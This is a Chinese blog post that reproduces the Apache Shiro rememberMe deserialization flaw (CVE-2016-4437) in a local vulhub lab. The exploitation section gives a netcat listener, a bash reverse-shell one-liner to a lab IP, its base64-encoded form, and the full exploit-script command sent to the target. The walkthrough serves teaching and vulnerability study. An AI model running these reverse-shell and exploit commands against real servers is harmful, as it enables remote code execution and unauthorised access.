Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

一、漏洞描述

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 >  Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

影响版本

Apache Shiro <= 1.2.4

二、漏洞环境搭建

需要准备的工具如下:

1.docker+vulhub漏洞库
2.kali虚拟机
3.靶机Ubuntu18.04虚拟机(其他也可以)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)

root@admin666-virtual-machine:~/vulhub/shiro/CVE-2016-4437# 

执行命令 docker-compose up -d

root@admin666-virtual-machine:~/vulhub/shiro/CVE-2016-4437# docker-compose up -d

等到出现以下页面证明已经搭建完成

可以访问http://your-ip:8080 ,出现如下页面证明搭建成功!

三、漏洞利用

先下载POC,地址:https://github.com/insightglacier/Shiro_exploit
放到kali虚拟机桌面,利用nc反弹shell
这里用nc监听2333端口

nc -lvp 2333

构造payload
先加密反弹shell

bash -i >& /dev/tcp/172.16.100.197/2333 0>&1

将语句放入http://jackson-t.ca/runtime-exec-payloads.html中进行编码

进入下载好的POC目录,执行

python3 shiro_exploit.py -t 3 -u http://172.16.100.166:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAwLjE5Ny8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"`

成功反弹回shell,至此漏洞复现成功!

四、关闭docker环境

docker-compose down

posted @ 2021-03-01 17:21  冰淇淋干杯  阅读(183)  评论(0编辑  收藏  举报